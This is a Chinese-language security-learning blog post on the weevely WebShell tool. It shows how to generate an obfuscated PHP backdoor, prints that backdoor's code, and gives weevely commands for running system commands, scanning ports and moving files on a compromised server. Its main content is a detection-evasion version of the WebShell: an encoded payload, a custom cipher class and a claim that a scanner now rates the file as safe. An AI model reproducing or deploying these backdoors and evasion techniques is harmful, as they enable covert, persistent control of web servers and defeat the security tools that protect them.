本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
weevely是一个控制台的WebShell管理工具,其功能强大,被誉为linux的菜刀。支持生成shell,远程连接,文件管理,信息探测等功能。缺点是只支持php
。
在kali linux中自带了weevely,在控制台输入weevely
,出现以下内容,则说明存在weevely
在本篇中,使用kali提供的weevely进行演示。
格式:weevely generate
其中password是WebShell的连接密码,path是生成的木马文件的保存目录
例如我要生成一个密码为manlu的WebShell文件,放在
/home/manlu/shell.php位置,输入
weevely generate manlu /home/manlu/shell.php
cat shell.php
shell.php
$Z='}Zn;}}rZneZntuZnrn $o;}if (@Znpreg_matchZn("/$khZn(.+)$kfZn/Zn",@fiZnle_get_conteZnn';
$z='Zn(@base6Zn4_decodeZn($m[1]Zn)Zn,$k)));$o=@oZnb_gZnet_contenZnts()Zn;@ob_end_cZnZnlea';
$i='($i=0;$i<$l;Zn){for(Zn$ZnjZn=0;(ZnZn$j<$c&&$iZn<$l);$jZn++,$i++){$o.=$t{$iZn}^$k{$j';
$h='$k="c1Zn0807Zn32";$kh="f2ZnZn641efZn36dZn6Znb";$kf="bae059c91cZnfbZn"Zn;$p="VoWCZnbDeLGk8';
$D=str_replace('rv','','rvrvcrervaterv_rvfunctirvon');
$b='ts("ZnZnphp:/Zn/inpZnut")Zn,$m)==Zn1) {@ob_start();@ZnevZnal(Zn@gzuncompZnrZness(@x';
$v='DzmZnp3";ZnfuncZntion x($t,$k){$Znc=ZnstZnZnrZnlen($k);$l=strlen($t);Zn$o="Zn";foZnr';
$u='n();$r=@baseZn64_ZnencZnode(@x(@gzcomZnpZnrZnessZn($o),$k)Zn);pZnrint("$p$kh$r$kf");}';
$t=str_replace('Zn','',$h.$v.$i.$Z.$b.$z.$u);
$o=$D('',$t);$o();
?>
可以看到,是做了代码混淆的,但是其核心代码是固定不变的,杀毒软件记住它的样子,看见就打死
后文我们将对生成的木马进行免杀,让它可以骗过安全软件,装成一个正常的php文件
把Webshell上传到服务器上
在浏览器访问
使用weevely连接
格式:weevely
其中 URL 是WebShell的位置 , password 是连接密码
例如我想要连接我上传的WebShell,就输入
weevely http://192.168.1.7/shell.php manlu
此时我可以执行指令,例如输入whoami
查看当前权限
返回了结果,并进入交互式shell
键入:help查看更多帮助信息
:system_info
查看当前的系统信息
:net_scan
进行端口扫描(不过速度比较慢)
net_scan [-h] [-timeout TIMEOUT] [-print] addresses ports
例如我想要扫描ip为127.0.0.1的1-100端口
:net_scan 127.0.0.1 1-100
:shell_sh
执行系统指令
:shell_sh command
这里command是想要执行的系统指令
例如我想执行whoami
:shell_sh whoami
:file_upload
上传文件到服务器
:file_upload 本地文件地址 上传文件地址
例如我想将 /home/manlu/1.txt上传至网站目录上
:file_upload /home/manlu/1.txt 1.txt
:file_read filename
filename 是要读取的文件名
例如我想读取网站目录下的1.txt文件
:file_read 1.txt
例如我想下载服务器上的safe_shell.php
:file_download safe_shell.php safe.php
在这里只是提供免杀思路,还是要使用自己的方法对木马进行免杀
我在免杀时经历了很多困难,没有专门学过PHP,只是因为要搞安全恶补了一下,代码看不懂,函数看不懂查资料,正则表达式疯狂匹配,一直到今天才实现了免杀,同时我的php水平也得到了提高。
在这里我使用自定义加密的方法,使用自定义的加解密算法对代码进行加解密,从而绕过防火墙。
我先前在写网站时写过相应的加解密算法,不过是用java写的,我进行了修改在php上使用,我会在后文把免杀马和算法贴出,但贴出的是我在修改之后的算法代码,实际上的加解密算法代码更加复杂。
可能我的代码在放出来后就会被防火墙认识并失去了免杀效果,但只要自己掌握免杀技术,就可以制作独一无二的免杀马。
在编写加解密算法时,要存在对语言的高度了解和一定的逆向思维。
接下来是我的免杀步骤。
想要对其进行免杀,先要对其代码进行解密处理
使用phpstorm可以直接将代码进行格式化,在这里会发挥很大的用处
查看WebShell
$Z='}Zn;}}rZneZntuZnrn $o;}if (@Znpreg_matchZn("/$khZn(.+)$kfZn/Zn",@fiZnle_get_conteZnn';
$z='Zn(@base6Zn4_decodeZn($m[1]Zn)Zn,$k)));$o=@oZnb_gZnet_contenZnts()Zn;@ob_end_cZnZnlea';
$i='($i=0;$i<$l;Zn){for(Zn$ZnjZn=0;(ZnZn$j<$c&&$iZn<$l);$jZn++,$i++){$o.=$t{$iZn}^$k{$j';
$h='$k="c1Zn0807Zn32";$kh="f2ZnZn641efZn36dZn6Znb";$kf="bae059c91cZnfbZn"Zn;$p="VoWCZnbDeLGk8';
$D=str_replace('rv','','rvrvcrervaterv_rvfunctirvon');
$b='ts("ZnZnphp:/Zn/inpZnut")Zn,$m)==Zn1) {@ob_start();@ZnevZnal(Zn@gzuncompZnrZness(@x';
$v='DzmZnp3";ZnfuncZntion x($t,$k){$Znc=ZnstZnZnrZnlen($k);$l=strlen($t);Zn$o="Zn";foZnr';
$u='n();$r=@baseZn64_ZnencZnode(@x(@gzcomZnpZnrZnessZn($o),$k)Zn);pZnrint("$p$kh$r$kf");}';
$t=str_replace('Zn','',$h.$v.$i.$Z.$b.$z.$u);
$o=$D('',$t);$o();
?>
在这里定义了一堆奇奇怪怪的字符串,同时还有两个str_replace函数。但是看到字符串中存在一些base64,enc,ode,strlen,直觉字符串中是PHP代码。
从上往下看,又臭又长的先跳过,首先看到这个语句
$D=str_replace('rv','','rvrvcrervaterv_rvfunctirvon');
不晓得这是什么东西,但是可以输出一下变量D,看下是什么东西
D是一个create_function函数,create_function可以创建一个匿名函数,它接受两个参数,第一个是匿名函数的参数,第二个是函数的语句。
例如,通过create_function实现一个相加的函数
$f=create_function('$a,$b','return $a+$b;');
echo "1 + 2 = ".$f(1,2);
?>
继续向下看,发现一行可用语句
$t=str_replace('Zn','',$h.$v.$i.$Z.$b.$z.$u);
这些变量都是又臭又长的字符串,这里将他们全部连接在一起,并进行字符串替换。
看到这里豁然开朗,$t是一堆php语句,其中就藏着关键代码。
先继续向下看,下面就是通过先前的变量D创建一个函数吗,执行变量t的语句,再调用这个函数。
把 $t 复制到phpstorm里,按下Ctrl+Alt+L进行格式化
格式化结果如下
$k = "c1080732";
$kh = "f2641ef36d6b";
$kf = "bae059c91cfb";
$p = "VoWCbDeLGk8Dzmp3";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}
此时WebShell的核心代码已经非常分明了。
感兴趣的大佬可以继续解析核心代码,并进行免杀处理。我这边直接用我的自定义加解密来进行免杀,毕竟这东西,只要能连接,能绕过防火墙,就很好了。
在这里直接贴出免杀马。
class Cipher
{
static $key = "manlu";
static $n_key = 0;
static $num = 21;
function getKey()
{
for ($i = 0; $i < strlen(self::$key); $i++) {
self::$n_key += ord(self::$key[$i]);
}
}
function decrypt($text)
{
$this->getKey();
$result = '';
$a = explode('.', $text);
foreach ($a as $val) {
$result .= chr((int)$val / self::$num - self::$n_key);
}
self::$n_key = 0;
return $result;
}
}
$ci = new Cipher();
$a = '13440.13755.13482.13398.13797.13482.13356.13503.13818.13671.13440.13797.13566.13692.13671';
$c = $ci->decrypt($a);
$b = '12117.13608.12642.12075.13440.12390.12369.12537.12369.12516.12432.12411.12075.12600.12117.13608.13545.12642.12075.13503.12411.12495.12453.12390.13482.13503.12432.12495.13461.12495.13419.12075.12600.12117.13608.13503.12642.12075.13419.13398.13482.12369.12474.12558.13440.12558.12390.13440.13503.13419.12075.12600.12117.13713.12642.12075.13524.13860.13902.12999.13041.12978.13797.13692.13419.13230.12411.13482.13608.13923.13440.13818.12075.12600.13503.13818.13671.13440.13797.13566.13692.13671.12033.13881.12201.12117.13797.12285.12117.13608.12222.13944.12117.13440.12642.13776.13797.13755.13629.13482.13671.12201.12117.13608.12222.12600.12117.13629.12642.13776.13797.13755.13629.13482.13671.12201.12117.13797.12222.12600.12117.13692.12642.12075.12075.12600.13503.13692.13755.12201.12117.13566.12642.12369.12600.12117.13566.12621.12117.13629.12600.12222.13944.13503.13692.13755.12201.12117.13587.12642.12369.12600.12201.12117.13587.12621.12117.13440.12159.12159.12117.13566.12621.12117.13629.12222.12600.12117.13587.12264.12264.12285.12117.13566.12264.12264.12222.13944.12117.13692.12327.12642.12117.13797.13944.12117.13566.13986.13335.12117.13608.13944.12117.13587.13986.12600.13986.13986.13755.13482.13797.13818.13755.13671.12033.12117.13692.12600.13986.13566.13503.12033.12201.12705.13713.13755.13482.13524.13356.13650.13398.13797.13440.13545.12201.12075.12348.12117.13608.13545.12201.12327.12264.12222.12117.13608.13503.12348.12075.12285.12705.13503.13566.13629.13482.13356.13524.13482.13797.13356.13440.13692.13671.13797.13482.13671.13797.13776.12201.12075.13713.13545.13713.12579.12348.12348.13566.13671.13713.13818.13797.12075.12222.12285.12117.13650.12222.12642.12642.12390.12222.12033.13944.13503.13860.13755.13566.13797.13482.12201.13503.13692.13713.13482.13671.12201.12075.12390.12327.13797.13881.13797.12075.12285.12075.13860.12075.12222.12285.13503.13566.13629.13482.13356.13524.13482.13797.13356.13440.13692.13671.13797.13482.13671.13797.13776.12201.12075.13713.13545.13713.12579.12348.12348.13566.13671.13713.13818.13797.12075.12222.12327.12075.13293.13671.12075.12222.12600.12705.13692.13419.13356.13776.13797.13398.13755.13797.12201.12222.12600.12705.13482.13839.13398.13629.12201.12705.13524.13923.13818.13671.13440.13692.13650.13713.13755.13482.13776.13776.12201.12705.13881.12201.12705.13419.13398.13776.13482.12495.12453.13356.13461.13482.13440.13692.13461.13482.12201.12117.13650.13272.12390.13314.12222.12285.12117.13608.12222.12222.12222.12600.12117.13692.12642.12705.13692.13419.13356.13524.13482.13797.13356.13440.13692.13671.13797.13482.13671.13797.13776.12201.12222.12600.12705.13692.13419.13356.13482.13671.13461.13356.13440.13629.13482.13398.13671.12201.12222.12600.12117.13755.12642.12705.13419.13398.13776.13482.12495.12453.13356.13482.13671.13440.13692.13461.13482.12201.12705.13881.12201.12705.13524.13923.13440.13692.13650.13713.13755.13482.13776.13776.12201.12117.13692.12222.12285.12117.13608.12222.12222.12600.13713.13755.13566.13671.13797.12201.12075.12117.13713.12117.13608.13545.12117.13755.12117.13608.13503.12075.12222.12600.13986';
$o = $ci->decrypt($b);
$k = $c('', $o);
$k();
?>
在这里我只贴出了部分解密算法,但已经够用了。
在这里, $c和$o分别是create_function和那一长串的核心代码
而 $a、$b则是create_function、代码块的加密结果
我先用算法将他们进行了加密,再进行解密,从而实现免杀。
原本生成的WebShell在D盾中扫描结果是4级高危,但我在免杀之后,扫描结果提示为安全文件。
我在之前按照网上的方法对一句话木马进行过免杀,也只是降到了二级,而这里直接降到了0级是我之外的。
class Cipher
{
static $key = "manlu";
static $n_key = 0;
static $num = 21;
function getKey()
{
for ($i = 0; $i < strlen(self::$key); $i++) {
self::$n_key += ord(self::$key[$i]);
}
}
function encrypt($text)
{
$this->getKey();
$s = '';
for ($i = 0; $i < strlen($text); $i++) {
$n = ord($text[$i]);
$s .= ($n + self::$n_key) * self::$num . ".";
}
self::$n_key = 0;
$res = substr($s, 0, strlen($s) - 1);
return $res;
}
function decrypt($text)
{
$this->getKey();
$result='';
$a=explode('.',$text);
foreach ($a as $val){
$result.=chr((int)$val/self::$num-self::$n_key);
}
self::$n_key=0;
return $result;
}
}
我在写网站时写的加解密算法比这更加复杂,不过在这里没有更大的必要,就没有贴出来了。
这只是一种很简单的免杀方法,还有更多其他的免杀方法,各位大佬可自行尝试。